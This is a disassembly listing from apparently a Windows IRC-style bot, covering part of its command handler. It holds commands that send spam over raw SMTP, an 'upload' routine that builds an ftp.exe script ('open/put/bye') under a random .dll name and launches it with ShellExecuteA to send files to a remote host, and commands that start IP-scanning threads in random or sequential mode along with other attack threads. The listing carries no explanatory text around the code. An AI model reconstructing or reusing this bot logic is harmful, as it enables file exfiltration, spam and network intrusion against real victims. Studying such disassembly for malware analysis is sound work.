		push	offset aEmail	; "email"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405ED8
		push	[ebp+arg_10]
		lea	eax, [ebp+var_ACC]
		push	eax
		call	sub_418870
		push	[ebp+arg_0]
		call	sub_417960
		push	[ebp+arg_18]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_2220]
		push	eax
		call	sub_418870
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_1510]
		push	eax
		call	sub_418870
		push	offset asc_439A92 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_80]
		call	sub_4118FD
		push	eax
		lea	eax, [ebp+var_2120]
		push	eax
		call	sub_418870
		add	esp, 30h
		lea	eax, [ebp+var_25B0]
		push	eax
		push	101h
		call	dword_4D65D8	; WSAStartup
		lea	eax, [ebp+var_ACC]
		push	eax
		call	dword_4D66EC	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4D66E8	; socket
		push	[ebp+arg_0]
		mov	esi, eax
		mov	[ebp+var_2D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2D4], eax
		call	dword_4D6668	; ntohs
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_2120]
		push	eax
		lea	eax, [ebp+var_2220]
		push	eax
		lea	eax, [ebp+var_2120]
		push	eax
		lea	eax, [ebp+var_1510]
		push	eax
		lea	eax, [ebp+var_2220]
		push	eax
		lea	eax, [ebp+var_29B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		push	esi
		call	dword_4D6610	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_1E1C]
		push	edi
		push	eax
		push	esi
		call	dword_4D6680	; recv
		lea	eax, [ebp+var_1E1C]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_29B0]
		push	eax
		push	esi
		call	dword_4D66B8	; send
		push	ebx
		lea	eax, [ebp+var_1E1C]
		push	edi
		push	eax
		push	esi
		call	dword_4D6680	; recv
		push	esi
		call	dword_4D6700	; closesocket
		call	dword_4D65C0	; WSACleanup
		lea	eax, [ebp+var_1510]
		push	eax
		push	offset unk_439AE4


loc_405E91:				; CODE XREF: sub_401C87+2832j
					; sub_401C87+4FDBj ...
		lea	eax, [ebp+var_2C8]


loc_405E97:				; CODE XREF: sub_401C87+340Ej
					; sub_401C87+34ADj ...
		push	eax
		call	sub_417CB0


loc_405E9D:				; CODE XREF: sub_401C87+1F65j
		add	esp, 0Ch


loc_405EA0:				; CODE XREF: sub_401C87+2DEEj
					; sub_401C87+2E46j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_405EC1
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_405EC1:				; CODE XREF: sub_401C87+2496j
					; sub_401C87+24CDj ...
		mov	esi, [ebp+arg_24]


loc_405EC4:				; CODE XREF: sub_401C87+91Bj
					; sub_401C87+37DFj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		pop	ecx
		mov	eax, esi
		jmp	loc_4075FF
; ---------------------------------------------------------------------------


loc_405ED8:				; CODE XREF: sub_401C87+40B2j
		push	edi
		push	offset aHttpcon	; "httpcon"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405EFE
		push	edi
		push	offset aHcon	; "hcon"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406033


loc_405EFE:				; CODE XREF: sub_401C87+4260j
		push	[ebp+esi+var_80]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		call	sub_417960
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E7F9
		jmp	loc_407439
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401C87+4088j
					; sub_401C87+409Dj
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_10]
		push	[ebp+arg_18]
		push	offset unk_439B18
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		push	[ebp+arg_18]
		call	sub_414EC0
		push	[ebp+arg_0]
		mov	edi, eax
		call	sub_414EC0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_414EC0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_414EC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_1C]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_417E00
		add	esp, 40h
		mov	[ebp+arg_14], eax
		push	[ebp+arg_18]
		call	sub_417960
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		mov	[ebp+arg_8], ebx
		jle	short loc_406011


loc_405FAF:				; CODE XREF: sub_401C87+434Bj
		push	[ebp+arg_14]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_412159
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_C], eax
		jz	short loc_405FD6
		cmp	eax, ebx
		jnz	short loc_405FE1
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], edi
		jl	short loc_405FAF
		jmp	short loc_406016
; ---------------------------------------------------------------------------


loc_405FD6:				; CODE XREF: sub_401C87+433Fj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_439B54
		jmp	short loc_40601F
; ---------------------------------------------------------------------------


loc_405FE1:				; CODE XREF: sub_401C87+4343j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2C8]
		push	offset unk_439B8C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 20h


loc_406011:				; CODE XREF: sub_401C87+4326j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_406030


loc_406016:				; CODE XREF: sub_401C87+434Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_439BC0


loc_40601F:				; CODE XREF: sub_401C87+4358j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_406030:				; CODE XREF: sub_401C87+438Dj
		mov	edi, [ebp+arg_20]


loc_406033:				; CODE XREF: sub_401C87+4271j
					; sub_401C87+4478j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40622C
		push	edi
		push	offset aUpload	; "upload"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40743C
		push	4
		push	esi
		call	sub_41114F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406104
		push	esi
		push	offset unk_439BFC


loc_40606C:				; CODE XREF: sub_401C87+3A48j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_40607B:				; CODE XREF: sub_401C87+3A60j
					; sub_401C87+5747j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40609C
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_40609C:				; CODE XREF: sub_401C87+21D9j
					; sub_401C87+21EEj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		jmp	loc_402219
; ---------------------------------------------------------------------------


loc_4060AD:				; CODE XREF: sub_401C87+405Ej
					; sub_401C87+4073j
		push	0Bh
		call	sub_4098A5
		push	[ebp+arg_0]
		mov	[ebp+arg_8], eax
		call	sub_417960
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_406234
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2C8]
		push	offset unk_439C1C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 20h
		jmp	loc_406033
; ---------------------------------------------------------------------------


loc_406104:				; CODE XREF: sub_401C87+43D9j
		call	dword_4E036C	; GetTickCount
		push	eax
		call	sub_417DB0
		pop	ecx
		call	sub_417DC0
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417DC0
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417DC0
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_1E20]
		push	edx
		push	eax
		lea	eax, [ebp+var_1514]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_1514]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4176E0
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	loc_40622C
		push	esi
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	edi
		call	sub_4185F0
		push	edi
		call	sub_414F40
		lea	eax, [ebp+var_1514]
		push	eax
		lea	eax, [ebp+var_ACC]
		push	offset aSS_0	; "-s:%s"
		push	eax
		call	sub_417CB0
		add	esp, 2Ch
		lea	eax, [ebp+var_ACC]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_1	; "open"
		push	ebx
		call	dword_4D65D4	; ShellExecuteA
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4061CF
		push	offset unk_439CAC
		jmp	short loc_4061D4
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401C87+453Fj
		push	offset unk_439CD4


loc_4061D4:				; CODE XREF: sub_401C87+4546j
		call	sub_417CB0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4061FD
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 14h


loc_4061FD:				; CODE XREF: sub_401C87+4558j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40F927
		jmp	short loc_406217
; ---------------------------------------------------------------------------


loc_40620B:				; CODE XREF: sub_401C87+45A3j
		lea	eax, [ebp+var_1514]
		push	eax
		call	sub_418580


loc_406217:				; CODE XREF: sub_401C87+4582j
		lea	eax, [ebp+var_1514]
		push	4
		push	eax
		call	sub_41114F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40620B


loc_40622C:				; CODE XREF: sub_401C87+5Bj
					; sub_401C87+392j ...
		xor	eax, eax
		inc	eax
		jmp	loc_4075FF
; ---------------------------------------------------------------------------


loc_406234:				; CODE XREF: sub_401C87+4442j
		push	[ebp+arg_10]
		call	sub_417960
		push	[ebp+arg_0]
		mov	[ebp+var_474], eax
		call	sub_417960
		push	[ebp+arg_18]
		mov	[ebp+var_45C], eax
		call	sub_417960
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_470], eax
		jnb	short loc_40626F
		push	5
		pop	eax
		mov	[ebp+var_470], eax


loc_40626F:				; CODE XREF: sub_401C87+45DDj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40627C
		mov	[ebp+var_470], ecx


loc_40627C:				; CODE XREF: sub_401C87+45EDj
		push	[ebp+arg_1C]
		call	sub_417960
		mov	[ebp+var_46C], eax
		mov	eax, 320h
		cmp	[ebp+var_46C], eax
		pop	ecx
		jbe	short loc_40629E
		mov	[ebp+var_46C], eax


loc_40629E:				; CODE XREF: sub_401C87+460Fj
		or	[ebp+var_458], 0FFFFFFFFh
		cmp	dword_43F068, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_4062ED
		mov	edi, offset dword_43F068


loc_4062B5:				; CODE XREF: sub_401C87+4648j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4062D3
		inc	[ebp+arg_8]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4062B5
		jmp	short loc_4062ED
; ---------------------------------------------------------------------------


loc_4062D3:				; CODE XREF: sub_401C87+463Ej
		mov	eax, [ebp+arg_8]
		mov	ecx, eax
		mov	[ebp+var_458], eax
		shl	ecx, 6
		mov	ecx, dword_43F068[ecx]
		mov	[ebp+var_474], ecx


loc_4062ED:				; CODE XREF: sub_401C87+4627j
					; sub_401C87+464Aj
		cmp	[ebp+var_474], ebx
		jnz	short loc_4062FF
		push	offset unk_439D04
		jmp	loc_403894
; ---------------------------------------------------------------------------


loc_4062FF:				; CODE XREF: sub_401C87+466Cj
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_40633A
		cmp	byte ptr [edi],	23h
		jz	short loc_40633A
		push	edi
		lea	eax, [ebp+var_588]
		push	10h
		push	eax
		call	sub_417E80
		push	78h
		push	edi
		call	sub_418970
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_448], eax
		jmp	loc_40640E
; ---------------------------------------------------------------------------


loc_40633A:				; CODE XREF: sub_401C87+4681j
					; sub_401C87+4686j
		cmp	[ebp+var_96B], bl
		jnz	short loc_40635C
		cmp	[ebp+var_96A], bl
		jnz	short loc_40635C
		cmp	[ebp+var_95A], bl
		jnz	short loc_40635C
		push	offset unk_439D38
		jmp	loc_403894
; ---------------------------------------------------------------------------


loc_40635C:				; CODE XREF: sub_401C87+46B9j
					; sub_401C87+46C1j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_4D660C	; getsockname
		mov	al, [ebp+var_96B]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2D4], eax
		push	[ebp+var_2D4]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_417760
		add	esp, 0Ch
		cmp	[ebp+var_95A], bl
		jz	short loc_406408
		xor	eax, eax
		cmp	[ebp+var_96B], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_418800
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4063FC


loc_4063DA:				; CODE XREF: sub_401C87+4773j
		cmp	eax, ebx
		jz	short loc_4063FC
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_588]
		push	30h
		push	eax
		call	sub_418800
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4063DA


loc_4063FC:				; CODE XREF: sub_401C87+4751j
					; sub_401C87+4755j
		mov	[ebp+var_448], 1
		jmp	short loc_40640E
; ---------------------------------------------------------------------------


loc_406408:				; CODE XREF: sub_401C87+472Bj
		mov	[ebp+var_448], ebx


loc_40640E:				; CODE XREF: sub_401C87+46AEj
					; sub_401C87+477Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_478], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_450], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_44C], eax
		mov	edi, 80h
		lea	eax, [ebp+var_578]
		push	edi
		push	eax
		call	sub_417E80
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_40645F


loc_40644C:				; CODE XREF: sub_401C87+47FBj
		push	esi


loc_40644D:				; CODE XREF: sub_401C87+47E5j
		lea	eax, [ebp+var_4F8]
		push	edi
		push	eax
		call	sub_417E80
		add	esp, 0Ch
		jmp	short loc_40648A
; ---------------------------------------------------------------------------


loc_40645F:				; CODE XREF: sub_401C87+47C3j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40646E
		cmp	byte ptr [eax],	23h
		jnz	short loc_40646E
		push	eax
		jmp	short loc_40644D
; ---------------------------------------------------------------------------


loc_40646E:				; CODE XREF: sub_401C87+47DDj
					; sub_401C87+47E2j
		mov	esi, offset aXp_0 ; "#xp"
		push	offset word_4D651E
		push	esi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40644C
		mov	[ebp+var_4F8], bl


loc_40648A:				; CODE XREF: sub_401C87+47D6j
		cmp	[ebp+var_448], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_40649C
		mov	eax, offset aSequential_0 ; "Sequential"


loc_40649C:				; CODE XREF: sub_401C87+480Ej
		push	[ebp+var_45C]
		lea	ecx, [ebp+var_588]
		push	[ebp+var_46C]
		push	[ebp+var_470]
		push	[ebp+var_474]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_439D80
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Bh
		push	eax
		call	sub_409663
		add	esp, 2Ch
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_588]
		push	ebx
		push	eax
		push	offset sub_40AA63
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_468]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406561
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439DE8


loc_406520:				; CODE XREF: sub_401C87+1D21j
					; sub_401C87+2883j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0


loc_40652C:				; CODE XREF: sub_401C87+2878j
		add	esp, 0Ch


loc_40652F:				; CODE XREF: sub_401C87+1C1Bj
					; sub_401C87+1D36j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40259F
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_40654C:				; CODE XREF: sub_401C87+1EBEj
		call	sub_40764A
		add	esp, 14h
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_406559:				; CODE XREF: sub_401C87+48E0j
		push	32h
		call	dword_4E033C	; Sleep


loc_406561:				; CODE XREF: sub_401C87+488Bj
		cmp	[ebp+var_444], ebx
		jz	short loc_406559
		jmp	short loc_40652F
; ---------------------------------------------------------------------------


loc_40656B:				; CODE XREF: sub_401C87+4034j
					; sub_401C87+4049j
		push	[ebp+arg_10]
		call	sub_408766
		push	[ebp+arg_0]
		mov	[ebp+var_5A0], eax
		call	sub_417960
		push	[ebp+arg_18]
		mov	[ebp+var_5B0], eax
		call	sub_417960
		push	[ebp+arg_1C]
		mov	[ebp+var_5AC], eax
		call	sub_417960
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5A8], eax
		lea	eax, [ebp+var_630]
		mov	[ebp+var_634], esi
		push	eax
		call	sub_417760
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_598], edi
		push	[ebp+var_5AC]
		mov	[ebp+var_594], eax
		push	[ebp+var_5B0]
		push	[ebp+var_5A8]
		push	[ebp+var_5A0]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_439E20
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Bh
		push	eax
		call	sub_409663
		add	esp, 24h
		mov	[ebp+var_5A4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_634]
		push	ebx
		push	eax
		push	offset sub_40AE78
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_5A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406665
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439E70
		jmp	loc_403B1D
; ---------------------------------------------------------------------------


loc_40665D:				; CODE XREF: sub_401C87+49E4j
		push	32h
		call	dword_4E033C	; Sleep


loc_406665:				; CODE XREF: sub_401C87+49C3j
		cmp	[ebp+var_590], ebx
		jz	short loc_40665D
		jmp	loc_403B2C
; ---------------------------------------------------------------------------


loc_406672:				; CODE XREF: sub_401C87+3FF8j
					; sub_401C87+400Dj
		push	[ebp+arg_10]
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		cmp	byte_4495B8[eax], bl
		jz	loc_40743C
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_0]
		call	sub_414EC0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_414EC0
		push	edi
		add	esi, eax
		call	sub_414EC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E00
		mov	esi, eax
		lea	eax, [ebp+var_2C8]
		push	esi
		push	offset dword_439EAC
		push	eax
		call	sub_417CB0
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40743C
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	loc_40743C
		push	edi
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	ebx
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_40764A
		push	edi
		call	sub_417960
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4493A0[eax], 73h
		jnz	loc_40743C
		push	esi
		push	edi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4495B8
		push	eax
		push	[ebp+arg_0]
		push	offset dword_439EB8


loc_40675F:				; CODE XREF: sub_401C87+4BD7j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		jmp	loc_403D26
; ---------------------------------------------------------------------------


loc_406789:				; CODE XREF: sub_401C87+3FCEj
					; sub_401C87+3FE3j
		push	[ebp+arg_10]
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		cmp	byte_4495B8[eax], bl
		jz	loc_40743C
		cmp	[ebp+var_C], ebx
		jz	loc_40743C
		push	[ebp+arg_0]
		call	sub_414EC0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_414EC0
		push	edi
		add	esi, eax
		call	sub_414EC0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E00
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40743C
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417960
		test	eax, eax
		pop	ecx
		jle	loc_40743C
		push	edi
		call	sub_417960
		cmp	eax, 400h
		pop	ecx
		jge	loc_40743C
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		push	dword_4495AC[eax]
		call	sub_40764A
		push	edi
		call	sub_417960
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4493A0[eax], 73h
		jnz	loc_40743C
		push	esi
		push	edi
		call	sub_417960
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4495B8
		push	eax
		push	[ebp+arg_0]
		push	offset dword_439EC8
		jmp	loc_40675F
; ---------------------------------------------------------------------------


loc_406863:				; CODE XREF: sub_401C87+3FA4j
					; sub_401C87+3FB9j
		push	[ebp+arg_10]
		call	dword_4D66A8	; inet_addr
		push	[ebp+arg_0]
		mov	[ebp+var_64C], eax
		call	sub_417960
		push	[ebp+arg_18]
		mov	[ebp+var_65C], eax
		call	sub_417960
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_654], eax
		lea	eax, [ebp+var_6DC]
		mov	[ebp+var_6E0], esi
		push	eax
		call	sub_417760
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_644], edi
		push	[ebp+var_654]
		mov	[ebp+var_640], eax
		push	[ebp+var_65C]
		push	[ebp+var_64C]
		call	dword_4D66F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_439ED8
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	0Bh
		push	eax
		call	sub_409663
		add	esp, 20h
		mov	[ebp+var_650], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	ebx
		push	eax
		push	offset sub_40AD87
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_650]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_40694A
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439F14
		jmp	loc_403B1D
; ---------------------------------------------------------------------------


loc_406942:				; CODE XREF: sub_401C87+4CC9j
		push	32h
		call	dword_4E033C	; Sleep


loc_40694A:				; CODE XREF: sub_401C87+4CA8j
		cmp	[ebp+var_63C], ebx
		jz	short loc_406942
		jmp	loc_403B2C
; ---------------------------------------------------------------------------


loc_406957:				; CODE XREF: sub_401C87+3F7Aj
					; sub_401C87+3F8Fj
		push	[ebp+arg_10]
		call	sub_417960
		push	7Fh
		mov	[ebp+var_11D8],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12DC]
		push	eax
		call	sub_417760
		push	[ebp+arg_18]
		call	sub_417960
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_11DC],	eax
		lea	eax, [ebp+var_125C]
		push	80h
		push	eax
		mov	[ebp+var_12E4],	esi
		call	sub_417E80
		mov	eax, [ebp+var_8]
		add	esp, 20h
		mov	edi, [ebp+var_4]
		mov	[ebp+var_11C8],	eax
		push	[ebp+var_11DC]
		lea	eax, [ebp+var_12DC]
		mov	[ebp+var_11CC],	edi
		push	eax
		push	[ebp+var_11D8]
		push	esi
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_439F4C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	18h
		push	eax
		call	sub_409663
		add	esp, 24h
		mov	[ebp+var_11D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_12E4]
		push	ebx
		push	eax
		push	offset sub_40EAC5
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_11D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_406A45
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_439F88
		jmp	loc_403B1D
; ---------------------------------------------------------------------------


loc_406A3D:				; CODE XREF: sub_401C87+4DC4j
		push	32h
		call	dword_4E033C	; Sleep


loc_406A45:				; CODE XREF: sub_401C87+4DA3j
		cmp	[ebp+var_11C4],	ebx
		jz	short loc_406A3D
		jmp	loc_403B2C
; ---------------------------------------------------------------------------


loc_406A52:				; CODE XREF: sub_401C87+3F50j
					; sub_401C87+3F65j
		mov	edi, 0FFh
		lea	eax, [ebp+var_F38]
		push	edi
		push	[ebp+arg_10]
		push	eax
		call	sub_417760
		push	edi
		lea	eax, [ebp+var_E38]
		push	[ebp+arg_0]
		push	eax
		call	sub_417760
		push	[ebp+arg_18]
		mov	[ebp+var_D34], ebx
		call	sub_417960
		mov	[ebp+var_D30], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_406AAD
		push	10h
		push	ebx
		push	eax
		call	sub_418560
		add	esp, 0Ch
		mov	[ebp+var_D28], eax
		jmp	short loc_406AB3
; ---------------------------------------------------------------------------


loc_406AAD:				; CODE XREF: sub_401C87+4E10j
		mov	[ebp+var_D28], ebx


loc_406AB3:				; CODE XREF: sub_401C87+4E24j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_406ACA
		push	esi
		call	sub_417960
		pop	ecx
		mov	[ebp+var_D2C], eax
		jmp	short loc_406AD0
; ---------------------------------------------------------------------------


loc_406ACA:				; CODE XREF: sub_401C87+4E32j
		mov	[ebp+var_D2C], ebx


loc_406AD0:				; CODE XREF: sub_401C87+4E41j
		movzx	eax, [ebp+var_967]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_D24], eax
		lea	eax, [ebp+var_FB8]
		mov	[ebp+var_FBC], esi
		push	eax
		call	sub_417760
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
